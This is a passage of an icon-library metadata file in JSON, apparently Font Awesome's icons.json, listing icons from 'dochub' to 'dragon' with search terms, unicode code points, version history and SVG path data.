        "path": "M416 0c17.7 0 32 14.3 32 32c0 59.8-30.3 107.5-69.4 146.6c-28 28-62.5 53.5-97.3 77.4l-2.5 1.7c-11.9 8.1-23.8 16.1-35.5 23.9l0 0 0 0 0 0-1.6 1c-6 4-11.9 7.9-17.8 11.9c-20.9 14-40.8 27.7-59.3 41.5H283.3c-9.8-7.4-20.1-14.7-30.7-22.1l7-4.7 3-2c15.1-10.1 30.9-20.6 46.7-31.6c25 18.1 48.9 37.3 69.4 57.7C417.7 372.5 448 420.2 448 480c0 17.7-14.3 32-32 32s-32-14.3-32-32H64c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-59.8 30.3-107.5 69.4-146.6c28-28 62.5-53.5 97.3-77.4c-34.8-23.9-69.3-49.3-97.3-77.4C30.3 139.5 0 91.8 0 32C0 14.3 14.3 0 32 0S64 14.3 64 32H384c0-17.7 14.3-32 32-32zM338.6 384H109.4c-10.1 10.6-18.6 21.3-25.5 32H364.1c-6.8-10.7-15.3-21.4-25.5-32zM109.4 128H338.6c10.1-10.7 18.6-21.3 25.5-32H83.9c6.8 10.7 15.3 21.3 25.5 32zm55.4 48c18.4 13.8 38.4 27.5 59.3 41.5c20.9-14 40.8-27.7 59.3-41.5H164.7z"
      }
    },
    "free": ["solid"]
  },
  "dochub": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f394",
    "label": "DocHub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z\"/></svg>",
        "viewBox": [0, 0, 416, 512],
        "width": 416,
        "height": 512,
        "path": "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"
      }
    },
    "free": ["brands"]
  },
  "docker": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f395",
    "label": "Docker",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"
      }
    },
    "free": ["brands"]
  },
  "dog": {
    "aliases": {
      "unicodes": {
        "composite": ["1f415"],
        "secondary": ["10f6d3"]
      }
    },
    "changes": [
      "5.4.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "animal",
        "canine",
        "dog",
        "fauna",
        "mammal",
        "pet",
        "pooch",
        "puppy",
        "woof"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d3",
    "label": "Dog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M309.6 158.5L332.7 19.8C334.6 8.4 344.5 0 356.1 0c7.5 0 14.5 3.5 19 9.5L392 32h52.1c12.7 0 24.9 5.1 33.9 14.1L496 64h56c13.3 0 24 10.7 24 24v24c0 44.2-35.8 80-80 80H464 448 426.7l-5.1 30.5-112-64zM416 256.1L416 480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V364.8c-24 12.3-51.2 19.2-80 19.2s-56-6.9-80-19.2V480c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V249.8c-28.8-10.9-51.4-35.3-59.2-66.5L1 167.8c-4.3-17.1 6.1-34.5 23.3-38.8s34.5 6.1 38.8 23.3l3.9 15.5C70.5 182 83.3 192 98 192h30 16H303.8L416 256.1zM464 80a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M309.6 158.5L332.7 19.8C334.6 8.4 344.5 0 356.1 0c7.5 0 14.5 3.5 19 9.5L392 32h52.1c12.7 0 24.9 5.1 33.9 14.1L496 64h56c13.3 0 24 10.7 24 24v24c0 44.2-35.8 80-80 80H464 448 426.7l-5.1 30.5-112-64zM416 256.1L416 480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V364.8c-24 12.3-51.2 19.2-80 19.2s-56-6.9-80-19.2V480c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V249.8c-28.8-10.9-51.4-35.3-59.2-66.5L1 167.8c-4.3-17.1 6.1-34.5 23.3-38.8s34.5 6.1 38.8 23.3l3.9 15.5C70.5 182 83.3 192 98 192h30 16H303.8L416 256.1zM464 80a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "dollar-sign": {
    "aliases": {
      "names": ["dollar", "usd"],
      "unicodes": {
        "composite": ["1f4b2", "f155"],
        "primary": ["f155"],
        "secondary": ["1024", "10f155"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.0.9",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Dollar Sign",
        "currency",
        "dollar",
        "heavy dollar sign",
        "money"
      ]
    },
    "styles": ["solid"],
    "unicode": "24",
    "label": "Dollar Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 0c17.7 0 32 14.3 32 32V67.7c1.6 .2 3.1 .4 4.7 .7c.4 .1 .7 .1 1.1 .2l48 8.8c17.4 3.2 28.9 19.9 25.7 37.2s-19.9 28.9-37.2 25.7l-47.5-8.7c-31.3-4.6-58.9-1.5-78.3 6.2s-27.2 18.3-29 28.1c-2 10.7-.5 16.7 1.2 20.4c1.8 3.9 5.5 8.3 12.8 13.2c16.3 10.7 41.3 17.7 73.7 26.3l2.9 .8c28.6 7.6 63.6 16.8 89.6 33.8c14.2 9.3 27.6 21.9 35.9 39.5c8.5 17.9 10.3 37.9 6.4 59.2c-6.9 38-33.1 63.4-65.6 76.7c-13.7 5.6-28.6 9.2-44.4 11V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.1c-.4-.1-.9-.1-1.3-.2l-.2 0 0 0c-24.4-3.8-64.5-14.3-91.5-26.3c-16.1-7.2-23.4-26.1-16.2-42.2s26.1-23.4 42.2-16.2c20.9 9.3 55.3 18.5 75.2 21.6c31.9 4.7 58.2 2 76-5.3c16.9-6.9 24.6-16.9 26.8-28.9c1.9-10.6 .4-16.7-1.3-20.4c-1.9-4-5.6-8.4-13-13.3c-16.4-10.7-41.5-17.7-74-26.3l-2.8-.7 0 0C119.4 279.3 84.4 270 58.4 253c-14.2-9.3-27.5-22-35.8-39.6c-8.4-17.9-10.1-37.9-6.1-59.2C23.7 116 52.3 91.2 84.8 78.3c13.3-5.3 27.9-8.9 43.2-11V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 0c17.7 0 32 14.3 32 32V67.7c1.6 .2 3.1 .4 4.7 .7c.4 .1 .7 .1 1.1 .2l48 8.8c17.4 3.2 28.9 19.9 25.7 37.2s-19.9 28.9-37.2 25.7l-47.5-8.7c-31.3-4.6-58.9-1.5-78.3 6.2s-27.2 18.3-29 28.1c-2 10.7-.5 16.7 1.2 20.4c1.8 3.9 5.5 8.3 12.8 13.2c16.3 10.7 41.3 17.7 73.7 26.3l2.9 .8c28.6 7.6 63.6 16.8 89.6 33.8c14.2 9.3 27.6 21.9 35.9 39.5c8.5 17.9 10.3 37.9 6.4 59.2c-6.9 38-33.1 63.4-65.6 76.7c-13.7 5.6-28.6 9.2-44.4 11V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.1c-.4-.1-.9-.1-1.3-.2l-.2 0 0 0c-24.4-3.8-64.5-14.3-91.5-26.3c-16.1-7.2-23.4-26.1-16.2-42.2s26.1-23.4 42.2-16.2c20.9 9.3 55.3 18.5 75.2 21.6c31.9 4.7 58.2 2 76-5.3c16.9-6.9 24.6-16.9 26.8-28.9c1.9-10.6 .4-16.7-1.3-20.4c-1.9-4-5.6-8.4-13-13.3c-16.4-10.7-41.5-17.7-74-26.3l-2.8-.7 0 0C119.4 279.3 84.4 270 58.4 253c-14.2-9.3-27.5-22-35.8-39.6c-8.4-17.9-10.1-37.9-6.1-59.2C23.7 116 52.3 91.2 84.8 78.3c13.3-5.3 27.9-8.9 43.2-11V32c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "dolly": {
    "aliases": {
      "names": ["dolly-box"],
      "unicodes": {
        "secondary": ["10f472"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "shipping", "transport"]
    },
    "styles": ["solid"],
    "unicode": "f472",
    "label": "Dolly",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0h72.9c27.5 0 52 17.6 60.7 43.8L257.7 320c30.1 .5 56.8 14.9 74 37l202.1-67.4c16.8-5.6 34.9 3.5 40.5 20.2s-3.5 34.9-20.2 40.5L352 417.7c-.9 52.2-43.5 94.3-96 94.3c-53 0-96-43-96-96c0-30.8 14.5-58.2 37-75.8L104.9 64H32C14.3 64 0 49.7 0 32zM244.8 134.5c-5.5-16.8 3.7-34.9 20.5-40.3L311 79.4l19.8 60.9 60.9-19.8L371.8 59.6l45.7-14.8c16.8-5.5 34.9 3.7 40.3 20.5l49.4 152.2c5.5 16.8-3.7 34.9-20.5 40.3L334.5 307.2c-16.8 5.5-34.9-3.7-40.3-20.5L244.8 134.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0h72.9c27.5 0 52 17.6 60.7 43.8L257.7 320c30.1 .5 56.8 14.9 74 37l202.1-67.4c16.8-5.6 34.9 3.5 40.5 20.2s-3.5 34.9-20.2 40.5L352 417.7c-.9 52.2-43.5 94.3-96 94.3c-53 0-96-43-96-96c0-30.8 14.5-58.2 37-75.8L104.9 64H32C14.3 64 0 49.7 0 32zM244.8 134.5c-5.5-16.8 3.7-34.9 20.5-40.3L311 79.4l19.8 60.9 60.9-19.8L371.8 59.6l45.7-14.8c16.8-5.5 34.9 3.7 40.3 20.5l49.4 152.2c5.5 16.8-3.7 34.9-20.5 40.3L334.5 307.2c-16.8 5.5-34.9-3.7-40.3-20.5L244.8 134.5z"
      }
    },
    "free": ["solid"]
  },
  "dong-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Dong Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e169",
    "label": "Dong Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M288 32c-17.7 0-32 14.3-32 32l-32 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v49.1c-18.8-10.9-40.7-17.1-64-17.1c-70.7 0-128 57.3-128 128s57.3 128 128 128c24.5 0 47.4-6.9 66.8-18.8c5 11.1 16.2 18.8 29.2 18.8c17.7 0 32-14.3 32-32V288 128c17.7 0 32-14.3 32-32s-14.3-32-32-32c0-17.7-14.3-32-32-32zM128 288a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M288 32c-17.7 0-32 14.3-32 32l-32 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v49.1c-18.8-10.9-40.7-17.1-64-17.1c-70.7 0-128 57.3-128 128s57.3 128 128 128c24.5 0 47.4-6.9 66.8-18.8c5 11.1 16.2 18.8 29.2 18.8c17.7 0 32-14.3 32-32V288 128c17.7 0 32-14.3 32-32s-14.3-32-32-32c0-17.7-14.3-32-32-32zM128 288a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "door-closed": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6aa"],
        "secondary": ["10f52a"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["doo", "door", "enter", "exit", "locked"]
    },
    "styles": ["solid"],
    "unicode": "f52a",
    "label": "Door Closed",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 64c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V448h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 144 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96V64zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 64c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V448h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 144 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96V64zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "door-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f52b"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["enter", "exit", "welcome"]
    },
    "styles": ["solid"],
    "unicode": "f52b",
    "label": "Door Open",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 32c0-9.9-4.5-19.2-12.3-25.2S289.8-1.4 280.2 1l-179.9 45C79 51.3 64 70.5 64 92.5V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 288h32V480 32zM256 256c0 17.7-10.7 32-24 32s-24-14.3-24-32s10.7-32 24-32s24 14.3 24 32zm96-128h96V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H512V128c0-35.3-28.7-64-64-64H352v64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 32c0-9.9-4.5-19.2-12.3-25.2S289.8-1.4 280.2 1l-179.9 45C79 51.3 64 70.5 64 92.5V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 288h32V480 32zM256 256c0 17.7-10.7 32-24 32s-24-14.3-24-32s10.7-32 24-32s24 14.3 24 32zm96-128h96V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H512V128c0-35.3-28.7-64-64-64H352v64z"
      }
    },
    "free": ["solid"]
  },
  "dove": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54a"],
        "secondary": ["10f4ba"]
      }
    },
    "changes": [
      "5.0.9",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bird", "dove", "fauna", "fly", "flying", "peace", "war"]
    },
    "styles": ["solid"],
    "unicode": "f4ba",
    "label": "Dove",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160.8 96.5c14 17 31 30.9 49.5 42.2c25.9 15.8 53.7 25.9 77.7 31.6V138.8C265.8 108.5 250 71.5 248.6 28c-.4-11.3-7.5-21.5-18.4-24.4c-7.6-2-15.8-.2-21 5.8c-13.3 15.4-32.7 44.6-48.4 87.2zM320 144v30.6l0 0v1.3l0 0 0 32.1c-60.8-5.1-185-43.8-219.3-157.2C97.4 40 87.9 32 76.6 32c-7.9 0-15.3 3.9-18.8 11C46.8 65.9 32 112.1 32 176c0 116.9 80.1 180.5 118.4 202.8L11.8 416.6C6.7 418 2.6 421.8 .9 426.8s-.8 10.6 2.3 14.8C21.7 466.2 77.3 512 160 512c3.6 0 7.2-1.2 10-3.5L245.6 448H320c88.4 0 160-71.6 160-160V128l29.9-44.9c1.3-2 2.1-4.4 2.1-6.8c0-6.8-5.5-12.3-12.3-12.3H400c-44.2 0-80 35.8-80 80zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160.8 96.5c14 17 31 30.9 49.5 42.2c25.9 15.8 53.7 25.9 77.7 31.6V138.8C265.8 108.5 250 71.5 248.6 28c-.4-11.3-7.5-21.5-18.4-24.4c-7.6-2-15.8-.2-21 5.8c-13.3 15.4-32.7 44.6-48.4 87.2zM320 144v30.6l0 0v1.3l0 0 0 32.1c-60.8-5.1-185-43.8-219.3-157.2C97.4 40 87.9 32 76.6 32c-7.9 0-15.3 3.9-18.8 11C46.8 65.9 32 112.1 32 176c0 116.9 80.1 180.5 118.4 202.8L11.8 416.6C6.7 418 2.6 421.8 .9 426.8s-.8 10.6 2.3 14.8C21.7 466.2 77.3 512 160 512c3.6 0 7.2-1.2 10-3.5L245.6 448H320c88.4 0 160-71.6 160-160V128l29.9-44.9c1.3-2 2.1-4.4 2.1-6.8c0-6.8-5.5-12.3-12.3-12.3H400c-44.2 0-80 35.8-80 80zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "down-left-and-up-right-to-center": {
    "aliases": {
      "names": ["compress-alt"],
      "unicodes": {
        "secondary": ["10f422"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "fullscreen",
        "minimize",
        "move",
        "resize",
        "shrink",
        "smaller"
      ]
    },
    "styles": ["solid"],
    "unicode": "f422",
    "label": "Down Left And Up Right To Center",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M439 7c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H296c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39L439 7zM72 272H216c13.3 0 24 10.7 24 24V440c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39L73 505c-9.4 9.4-24.6 9.4-33.9 0L7 473c-9.4-9.4-9.4-24.6 0-33.9l87-87L55 313c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M439 7c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H296c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39L439 7zM72 272H216c13.3 0 24 10.7 24 24V440c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39L73 505c-9.4 9.4-24.6 9.4-33.9 0L7 473c-9.4-9.4-9.4-24.6 0-33.9l87-87L55 313c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8z"
      }
    },
    "free": ["solid"]
  },
  "down-long": {
    "aliases": {
      "names": ["long-arrow-alt-down"],
      "unicodes": {
        "secondary": ["10f309"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["download", "long-arrow-down"]
    },
    "styles": ["solid"],
    "unicode": "f309",
    "label": "Down Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M2 334.5c-3.8 8.8-2 19 4.6 26l136 144c4.5 4.8 10.8 7.5 17.4 7.5s12.9-2.7 17.4-7.5l136-144c6.6-7 8.4-17.2 4.6-26s-12.5-14.5-22-14.5l-72 0 0-288c0-17.7-14.3-32-32-32L128 0C110.3 0 96 14.3 96 32l0 288-72 0c-9.6 0-18.2 5.7-22 14.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M2 334.5c-3.8 8.8-2 19 4.6 26l136 144c4.5 4.8 10.8 7.5 17.4 7.5s12.9-2.7 17.4-7.5l136-144c6.6-7 8.4-17.2 4.6-26s-12.5-14.5-22-14.5l-72 0 0-288c0-17.7-14.3-32-32-32L128 0C110.3 0 96 14.3 96 32l0 288-72 0c-9.6 0-18.2 5.7-22 14.5z"
      }
    },
    "free": ["solid"]
  },
  "download": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f019"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["export", "hard drive", "save", "transfer"]
    },
    "styles": ["solid"],
    "unicode": "f019",
    "label": "Download",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V274.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 274.7V32zM64 352c-35.3 0-64 28.7-64 64v32c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V416c0-35.3-28.7-64-64-64H346.5l-45.3 45.3c-25 25-65.5 25-90.5 0L165.5 352H64zm368 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V274.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 274.7V32zM64 352c-35.3 0-64 28.7-64 64v32c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V416c0-35.3-28.7-64-64-64H346.5l-45.3 45.3c-25 25-65.5 25-90.5 0L165.5 352H64zm368 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "draft2digital": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f396",
    "label": "Draft2digital",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"
      }
    },
    "free": ["brands"]
  },
  "dragon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f409"],
        "secondary": ["10f6d5"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "dragon",
        "fairy tale",
        "fantasy",
        "fire",
        "lizard",
        "serpent"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d5",
    "label": "Dragon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
